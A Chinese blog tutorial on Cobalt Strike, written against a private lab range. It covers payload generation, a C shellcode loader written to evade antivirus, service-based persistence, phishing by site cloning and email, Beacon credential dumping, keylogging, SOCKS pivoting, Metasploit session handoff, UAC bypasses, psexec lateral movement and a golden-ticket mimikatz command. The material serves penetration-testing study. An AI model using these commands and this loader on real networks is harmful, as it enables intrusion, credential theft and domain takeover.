cobalt strike 的基础使用 本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
前言 Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用,分为客户端与服务端,服务端是一个,客户端可以有多个,非常适合团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和sessions,可模拟APT做模拟对抗,进行内网渗透。
Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。
目录结构
│ agscript# 拓展应用的脚本
│ c2lint# 检查profile的错误异常
│ cobaltstrike
│ cobaltstrike.jar# 客户端程序
│ icon.jpg
│ license.pdf
│ readme.txt
│ releasenotes.txt
│ teamserver# 服务端程序
│ update
│ update.jar
│
└─third-party# 第三方工具
README.vncdll.txt
vncdll.x64.dll
vncdll.x86.dll
个人定制
- Cobalt Strike可以使用 AggressorScripts脚本来加强自身,能够扩展菜单栏,Beacon命令行,提权脚本等
- Cobalt Strike通信配置文件是 Malleable C2 你可以修改 CS的通讯特征,Beacon payload的一些行为
- Cobalt Strike可以引用其他的通讯框架ExternalC2,ExternalC2是由Cobalt Strike提出的一套规范/框架,它允许黑客根据需要对框架提供的默认HTTP(S)/DNS/SMB C2 通信通道进行扩展。
cobalt strike 分为服务端和客户端
团队服务器最好运行在Linux平台上,服务端的关键文件是
teamserver
和 cobaltstrike.jar
,将这两个文件放在同一目录下运行:# 启动服务端,监听IP 10.10.10.11,连接密码为:123456(搭建在外网的时候一定要设置强密码)
sudo ./teamserver 10.10.10.11 123456# 详细命令说明:
# ./teamserver [/path/to/c2.profile] [YYYY-MM-DD]
#必需参数 团队服务器IP
# 必需参数 连接服务器的密码
# [/path/to/c2.profile] 可选参数 指定C2通信配置文件,体现其强大的扩展性
# [YYYY-MM-DD] 可选参数 所有payload的终止时间# 如果遇到没有权限执行,使用以下命令添加执行权限
sudo chmod +x teamserver
文章图片
上面的命令只有关闭了终端就会结束,我们可以使用以下命令来把服务放到后台运行,防止关闭终端会结束服务。
sudo nohup ./teamserver 192.168.0.190 123456 &
修改默认端口
修改默认的端口只需要修改 teamserver 文件中的配置即可。
sudo vim teamserver
文章图片
客户端连接
Windows 客户端连接:
点击 start.bat
文章图片
Linux 客户端连接:
运行以下命令:
sudo ./cobaltstrike
文章图片
基础使用 后门生成模块的使用
在生成后门界面中,给我们内置了五种后门生成方案。
文章图片
分别为:
- HTA文档
- Office 宏
- Payload 生成器
- Windows 可执行程序(EXE, DLL)
- Windows 可执行程序(Raw, Powershell)
这里他给我们提供了3种生成方式 exe,powershell,vba。其中VBA方法需要目标系统上的MicrosoftOffice,在系统支持的情况下我们一般选择powershell,因为这种方式更加容易免杀。通常我们结合host File(文件下载功能) 来实行钓鱼。
文章图片
Office 宏
文章图片
设置完成后,保存文件为dotm后缀名。
payload生成器 cs里 提供一个payload生成器,因为默认的shellcode容易被杀毒软件发现,可以编写shellcode加载器运行payload 达到免杀的效果。
文章图片
这里使用师傅的c/c++加载器,使用vs2019编译。
#include
#include
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")// 不显示窗口
unsigned char shellcode[] = "\xfc..";
;
void main()
{
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT |
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (Memory == NULL) { return;
}
memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)();
}
编译记得使用Release模式而不是Debug 生成 否则会出现错误
windows可执行程序 提供三种生成类型:
- windwos可执行程序 直接双击运行
- windwos服务程序 可以使用sc命令做成服务程序
sc create "server1" binpath= "C:\WINDOWS\Temp\server1.exe"
sc description "server1" "description"
sc config "server1" start= auto
net start "server1"
文章图片
执行之后 是system权限,这种方法cs留后门的一种方法。
- windows dll文件
regsvr32 命令详解:
"regsvr32 [/s] [/n] [/i(:cmdline)] dllname”# 其中dllname为activex控件文件名,建议在安装前拷贝到system文件夹下。
参数有如下意义:
/u# 反注册控件(卸载com组建)
/s# 不管注册成功与否,均不显示提示框(静默模式,不弹框)
/c# 控制台输出
/i# 跳过控件的选项进行安装(传给DllInstall的参数内容,regsvr32 允许注册过程中 dll 进行一些自定义的安装过程,该过程在 DllInstall 中实现。)
/n# 不注册控件,此选项必须与/i选项一起使用
Scrobj.dll # com服务器,全名Windows Script Component,DllInstall方法在这个组件中实现。
Regsvr32.exe 直接调用dll程序
c:\Windows\System32\regsvr32.exe C:\Windows\Temp\artifact.dll
windwos可执行程序 (Stageless) 添加了多种方式上线cs。
介绍:Staged 和 Stageless 的区别. 前者的实际功能只是和 C2 建立连接并接收 Payload, 然后加载执行,而 Stageless 直接省去了接收 Payload 的步骤. Stageless 生成除了的 Payload 都会比 Staged 类型的要大很多, 而且包含了特征明细。
web钓鱼模块
cs提供了钓鱼模块 方便渗透测试人员进行钓鱼。
Manage# 对开启的web服务进行管理;
Clone Site# 克隆网站,可以记录受害者提交的数据;
Host File# 提供一个文件下载,可以修改Mime信息;
Scripted Web Delivery# 类似于msf 的web_delivery ;
Signed Applet Attack# 使用java自签名的程序进行钓鱼攻击;
Smart Applet Attack# 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本;
System Profiler# 用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等。
文章图片
站点管理 这里主要是cs自带的web服务,访问ip加上端口 则可以访问。
克隆网站 这个模块主要的作用 克隆一个网站 发送给受害者 受害者访问的时候 可以收集受害者提交的信息,同时也可以选择攻击下载文件。
文章图片
成功克隆网站并且弹出后门下载
文章图片
信息模块 这个主要是生成一个页面 让受害者访问 收集受害者的浏览器系统信息
文章图片
浏览器访问 http://10.10.10.11:80/baidu
收集的信息在web日志中查看
文章图片
邮件钓鱼
首先准备eml的钓鱼模板 这个模板可以在qq邮箱里导出
文章图片
准备模板后 选择邮箱钓鱼模板
文章图片
点击发送即可 模板上可以看到 url跳转到准备好的url上。
文章图片
Beacon的使用 Beacon是Cobalt Strike为高级攻击者建模的Payload。使用Beacon通过HTTP,HTTPS或DNS出口网络。而且Beacon非常灵活,支持异步和交互式通信。异步通信既低又慢。Beacon将通讯本地,下载任务,然后进入睡眠状态。交互式通信实时发生。
文章图片
beacon的命令
CommandDescription
------------------
argue命令行参数欺骗
blockdlls禁止子进程加载非微软签名的dll
browserpivot注入浏览器进程代理用户已认证身份(仅支持IE)
cancel取消正在下载的文件
cd跳转目录
checkin强制目标回连并更新状态(用于DNS上线,DNS模式下无新任务时目标不会回连Teamserver)
chromedump提取Chrome保存的账号密码、Cookies等信息
clear清空beacon任务队列
connect通过TCP正向连接远程Beacon
covert部署Covert VPN客户端
cp复制文件
dcsync从域控提取密码hash
desktop远程VNC控制用户桌面
dllinject注入一个内存反射加载的dll到目标进程
dllload使用LoadLibrary方式在目标进程中加载一个dll
download下载文件
downloads列出所有正在下载的文件
drives列出所有磁盘盘符
elevate利用提权漏洞获取一个高权限Beacon
execute在目标上执行程序(无回显)
execute-assembly在目标上内存加载执行本地.NET程序
exit结束当前Beacon会话
getprivs在当前进程访问令牌(access token)中启用system特权
getsystem尝试获取SYSTEM用户权限
getuid获取当前进程访问令牌(access token)的用户信息
hashdump获取本地用户hash
help帮助信息
inject在指定进程中注入新的Beacon会话
inline-execute在当前会话中执行Beacon Object File
jobkill结束一个后台任务
jobs列出所有后台任务
jump在远程机器上植入Beacon(横向移动)
kerberos_ccache_use从ccache文件导入kerberos票据到当前会话中
kerberos_ticket_purge清空当前会话中的所有kerberos票据
kerberos_ticket_use从ticket文件中导入kerberos票据到当前会话中
keylogger开启键盘记录
kill结束指定进程
link通过命名管道正向连接远程Beacon
logonpasswords使用mimikatz获取密码和hash
ls列出目录文件
make_token创建进程访问令牌(access token),仅用于访问网络资源
mimikatz运行mimikatz
mkdir创建目录
mode dns使用DNS A记录作为数据通道(仅支持DNS上线Beacon)
mode dns-txt使用DNS TXT记录作为数据通道(仅支持DNS上线Beacon)
mode dns6使用DNS AAAA记录作为数据通道(仅支持DNS上线Beacon)
mv移动文件
net网络和主机探测工具(内置net命令)
note给当前会话添加备注信息
portscan网络端口扫描
powerpick内存执行Powershell命令(不调用powershell.exe)
powershell通过powershell.exe执行Powershell命令
powershell-import导入本地powershell脚本到当前会话中
ppid为所有新运行的进程设置伪造的父进程PID
printscreen使用PrintScr方式截屏
ps显示进程列表
psinject注入到指定进程后在内存中执行Powershell命令(不调用powershell.exe)
pth使用Mimikatz执行Pass-the-hash
pwd显示当前目录
reg查询注册表
remote-exec在远程机器上执行命令(横向移动)
rev2self恢复原始进程访问令牌(access token)
rm删除文件或文件夹
rportfwd反向端口转发(从Cobalt Strike Teamserver发起连接)
rportfwd_local反向端口转发(从Cobalt Strike客户端发起连接)
run在目标上执行程序(有回显)
runas以另一个用户身份执行程序
runasadmin以高权限执行程序
runu以另一个进程PID作为父进程PID,并以其用户身份执行程序
screenshot截屏
screenwatch屏幕监控,每隔一段时间截屏
setenv设置环境变量
shell使用cmd.exe执行命令
shinject注入shellcode到指定进程中
shspawn创建傀儡进程并注入shellcode到其中运行
sleep设置beacon回连间隔时间
socks启动SOCKS4a代理服务器
socks stop停止SOCKS4a代理服务器
spawn创建一个新Beacon会话
spawnas以另一个用户身份创建一个新Beacon会话
spawnto设置创建新进程时使用的可执行文件路径(傀儡进程的宿主exe文件路径)
spawnu以另一个进程PID作为父进程PID,并以其用户身份创建一个新Beacon会话
spunnel运行第三方agent shellcode并将其反向代理到控制端(从CobaltStrike Teamserver发起连接)
spunnel_local运行第三方agent shellcode并将其反向代理到控制端(从CobaltStrike客户端发起连接)
ssh通过SSH连接远程主机(使用账号密码认证)
ssh-key通过SSH连接远程主机(使用证书私钥认证)
steal_token从指定进程中窃取访问令牌(access token)
timestomp复制B文件的创建、访问、修改时间戳到A文件(文件时间戳伪造)
unlink断开与beacon的连接(用于通过TCP、命名管道连接的beacon)
upload上传文件
同样的这些命令也有图形化的按钮。
端口扫描 流量探测 端口扫描 选择扫描存活的方式 arp icmp 选择扫描的网卡 也可以指定端口
文章图片
文章图片
网络探测 beacon 提供net命令 以下是这个命令的一些常用方法
beacon> help net
Use: net [命令] [参数]
Beacon内置的主机和网络枚举探测工具。 支持的 [命令] 列表有:
命令描述
------------------
computers列出域中的主机(通过组)
domain显示该主机的域
dclist列出域控制器
domain_controllers列出域控制器(通过组)
domain_trusts列出域信任
group列出组中的成员组和成员用户
localgroup列出本地组中的成员组和成员用户
logons列出登录到指定主机的用户
sessions列出指定主机上的会话
share列出指定主机上的共享
user列出用户和用户信息
time显示指定主机上的时间
view列出域中的主机(通过browser服务)
查看网络信任主机
文章图片
列出域控
文章图片
这里我没有开启域控的主机所以显示没有域控。
浏览器代理 先把beacon 简介时间设置为0 sleep 0
先把 beacon 设为交互模式。因为浏览器跳板是通过 beacon 会话来隧道通信传输数据的,所以 beacon连接到团队服务器的频率会影响浏览器跳板的同步性。所以要把 beacon 会话设为交互模式来实现最好的效果
然后设置浏览器跳板代理( agent )。这一步实际上会完成两个任务:
- 将 agent 程序注入受害机器的 IE 浏览器进程
- 在团队服务器的一个端口上开启一个 HTTP 代理服务器
文章图片
实际上,这个过程也可以通过 browserpivot 命令来实现。效果是等同的。 停止方式 browserpivot stop
如果目标上 登录 某些网站 通过设置浏览器代理后,访问网站即可登录
文章图片
访问目标网站
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4s89RIQz-1659187783610)(…/…/…/AppData/Roaming/Typora/typora-user-images/image-20220730184326927.png)]
代理转发 socks代理
使用socks代理
在指定端口上启动SOCKS4a代理服务器,该服务器将通过当前Beacon中继网络连接
- teamserver 192.168.150.145
- win 7 192.168.150.166 10.10.10.135
- 12server-ad02 10.10.10.137
文章图片
文章图片
设置
sudo vi /etc/proxychains4.conf
socks4 192.168.0.145 3652
proxychain4 调用 nmap 扫描 目标机子
proxychains4 nmap -sT -Pn 10.10.10.137 -p 445
文章图片
metasploit 使用这个代理
setg Proxies socks4:192.168.0.195:1080# 设置全局代理
setg ReverseAllowProxy true# 允许反向代理,通过socks反弹shell,建立双向通道。(探测可以不设置此项)
文章图片
转发上线
转发监听器可以利用已攻陷的机器作为代理,为其他Beacon会话的中转网络流量,即内网其他机器可通过连接攻陷机器上线。
- teamserver 192.168.150.145
- win 7 192.168.150.166 10.10.10.135
- 目标机器 10.10.10.137
文章图片
文章图片
接着新成后门 选择这个rve监听器
文章图片
在目标机器执行 beacon 上线
文章图片
切换视图
文章图片
这种方式也可用于多层网段反向上线。
VPN部署
为CovertVPN新建一个虚拟机网卡和监听器。当部署CovertVPN客户端后,你将相当于在目标网络中拥有一个二层网络的tap接口
新建 选择网卡
文章图片
在团队服务器中,配置刚刚的 VPN 接口:
先连接到刚刚的 VPN 接口,能找到此设备:
在kali上
sudo ifconfig phear0 10.10.10.0/24
文章图片
对内网10段进行代码扫描
nmap -sT -Pn 10.10.10.137 -p 445
文章图片
回到 CS 的 VPN Interfaces 这里可以看到数据走 VPN 在收发:
文章图片
会话操作 Cobalt Strike 的 Beacon 最初是一个稳定的生命线,让你可以保持对受害主机的访问权限。从一开始,Beacon 的主要目的就是向其他的 Cobalt Strike 监听器传递权限。使用 spawn 命令来为一个监听器派生一个会话。此 spawn 命令接受一个架构(如:x86,x64)和一个监听器作为其参数。默认情况下, spawn 命令会在 rundll32.exe 中派生一个会话。
spwan派生会话
beacon> help spawn
Use: spawn [x86|x64] [监听器]
spawn [监听器]
# 创建一个x86或x64傀儡进程,并注入运行从 [监听器] 生成的shellcode
文章图片
我们可以看到又多了一个会话。
文章图片
注入进程获取会话
文章图片
有的进程会失败,可以多尝试一下其他进程。
文章图片
cobalt strike 与 msf 联动
cobalt strike派生会话到msf 当Cobaltstrike获取到上线主机后,有时候需要传递会话到MSF,操作如下:
首先建立新的Foreign HTTP监听器,设置IP为MSF接收的IP,设置Port是一会儿MSF监听的端口
这里我的msf和cs是在同一个主机上,大家根据自己的真实情况进行修改。
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.150.145
set lport 8888
run
设置cs监听器
文章图片
在beacon使用命令
spawn cs->msf
会话会派生到msf里文章图片
msf运行后会收到会话
文章图片
metasploit 派生会话到 cs 如果Metasploit已经获取到了一个会话,可以通过payload_inject模块进行会话派生,将会话传递到Cobaltstrike
首先建立监听器
文章图片
在msf种选择 payload_inject 模块 设置参数
disablepayloadhandler
禁止msf监听use windows/local/payload_inject
set disablepayloadhandler true
set paylaod windows/meterpreter/reverse_http
set lhost 192.168.150.145
set lport 8999
set session 1
exploit
文章图片
查看cs成功上线
文章图片
CS 后渗透操作 在cs中有一个凭证提权模块
获取hash
文章图片
提权
ms14-058/ms15-051/ms16-016/ms16-032
这些都是大家耳熟能详的Windows本地提权漏洞,在此插件中都已经集成
UAC-DLL
这是一种绕过UAC的攻击,它试图将本地管理员运行的有效负载从低权限提升到高权限。此攻击使用UAC漏洞将ArtifactKit生成的DLL复制到特权位置。此攻击适用于Windows7和Windows8及更高版本的未修补版本。
uac-token-duplication
这是另一种绕过UAC的攻击,将其从低权限提升到高权限(作为本地管理员)。这种攻击使用一个UAC漏洞,允许非提升进程使用从提升进程中窃取的令牌启动任意进程。此漏洞要求攻击删除分配给提升令牌的多个权限。此攻击适用于Windows7及更高版本。如果AlwaysNotify处于其最高设置,则此攻击要求提升的进程已在当前桌面会话中运行(作为同一用户),此漏洞使用PowerShell生成会话。
Uac-eventvwr
这种提权方法是利用时间查看器eventvwr,通过注册表之后,执行Eventvwr.exe会自动加载我们的A.exe(exp),这个时候他的权限就是高了,成功绕过UAV
Uac-wscript
这种绕过uac提权的方法最初是在Empire框架中现身的,该方法只针对Windows7有效提权方式 在网上找好的插件进行提取
文章图片
获取明文
使用命令
logopasswords
获取hash 和明文文章图片
横向渗透
横向渗透攻击技术是复杂网络攻击中广泛使用的一种技术,特别是在高级持续威胁(AdvancedPersistent Threats,APT)中更加热衷于使用这种攻击方法。攻击者可以利用这些技术,以被攻陷的系统为跳板,访问其他主机,获取包括邮箱、共享文件夹或者凭证信息在内的敏感资源。攻击者可以利用这些敏感信息,进一步控制其他系统、提升权限或窃取更多有价值的凭证。借助此类攻击,攻击者最终可能获取域控的访问权限,完全控制基于Windows系统的基础设施或与业务相关的关键账户。在提权后,我们可以用mimikatz dump目标机的凭证,并进行内网横向移动
使用
net view
列出信任主机文章图片
1.psexec横移 在执行端口扫描后
目标视图中,选择一个目标,右键–>登录–psexec,即可选择凭证进行横向移动
右键 横向移动 选择合适的模块进行登录
文章图片
可以看到我们成功的建立了ipc$ 连接。
文章图片
2.窃取令牌 使用命令ps 寻找进程 接着命令steal_token pid pid是进程的id 选择合适权限的进程id即可
文章图片
如果存在域管 也可以获取域管理权限
文章图片
使用命令
rev2self
返回之前的权限。3.制作令牌 使用make_token命令 将之前获取的 生成一个命令访问目标主机
这里以访问域控为例
beacon> help make_token
Use: make_token [域\用户名] [密码]
# 克隆当前访问令牌,并在访问网络资源时设置为指定的用户名和密码
make_token redteam\administrator QWEasd123
文章图片
4.制作黄金票据 原理
黄金票据的原理就是用krbtgt的hash来伪造TGT的内容。更改里面的client参数与session key等。让TGS以为我就是那个我所声称的人,当然我一般会声称自己是administrator。第四步主要是来验证客户端的身份。
所谓的黄金票据其实就是kerberos认证的第二个阶段中的tgs的ticket也就是TGT。这个ticket相当于对请求端的一个身份认证的凭据,如果可以伪造这个ticket,那么就可以伪造任意身份,而黄金票据就是一个
实现方式。
首先使用命令获取 jump psexec64 ad01 smb 获取ad01的权限 得到权限后 命令 hashdump导出所有hash以及SID
文章图片
域sid
S-1-5-21-2536581826-3274276096-3456299113
域普通用户 命令 whoai /user 去掉后三位文章图片
mimikatz kerberos::golden /user:Administrator /domain:redteam.club /sid:S-1-5-21-2536581826-3274276096-3456299113 /krbtgt:689fe33346a9e9fe229395fb36178ecb /endin:480 /renewmax:10080 /ptt
访问
ad01 shell dir \\ad02\c$
文章图片
获取dc权限
jump psexec ad01 ad02a
【安全工具|cobalt strike 的基础使用】
文章图片
推荐阅读
- 安全工具|Cobalt Strike与Metasploit会话互转
- 安全工具|ubuntu安装CobaltStrike,MSF,john
- SpringBoot|SpringBoot 如何集成 MyBatisPlus - SpringBoot 2.7.2实战基础
- SpringBoot|SpringBoot集成MyBatisPlus生成代码和操作
- spring|全栈开发之后端脚手架(SpringBoot 集成 MybatisPlus 代码生成,分页)
- SpringBoot|SpringBoot笔记(SpringBoot集成MyBatisPlus实战)
- Mybatis|SpringBoot整合Mybatisplus
- Springboot集成MybatisPlus、Druid
- java|SpringBoot+MyBatisPlus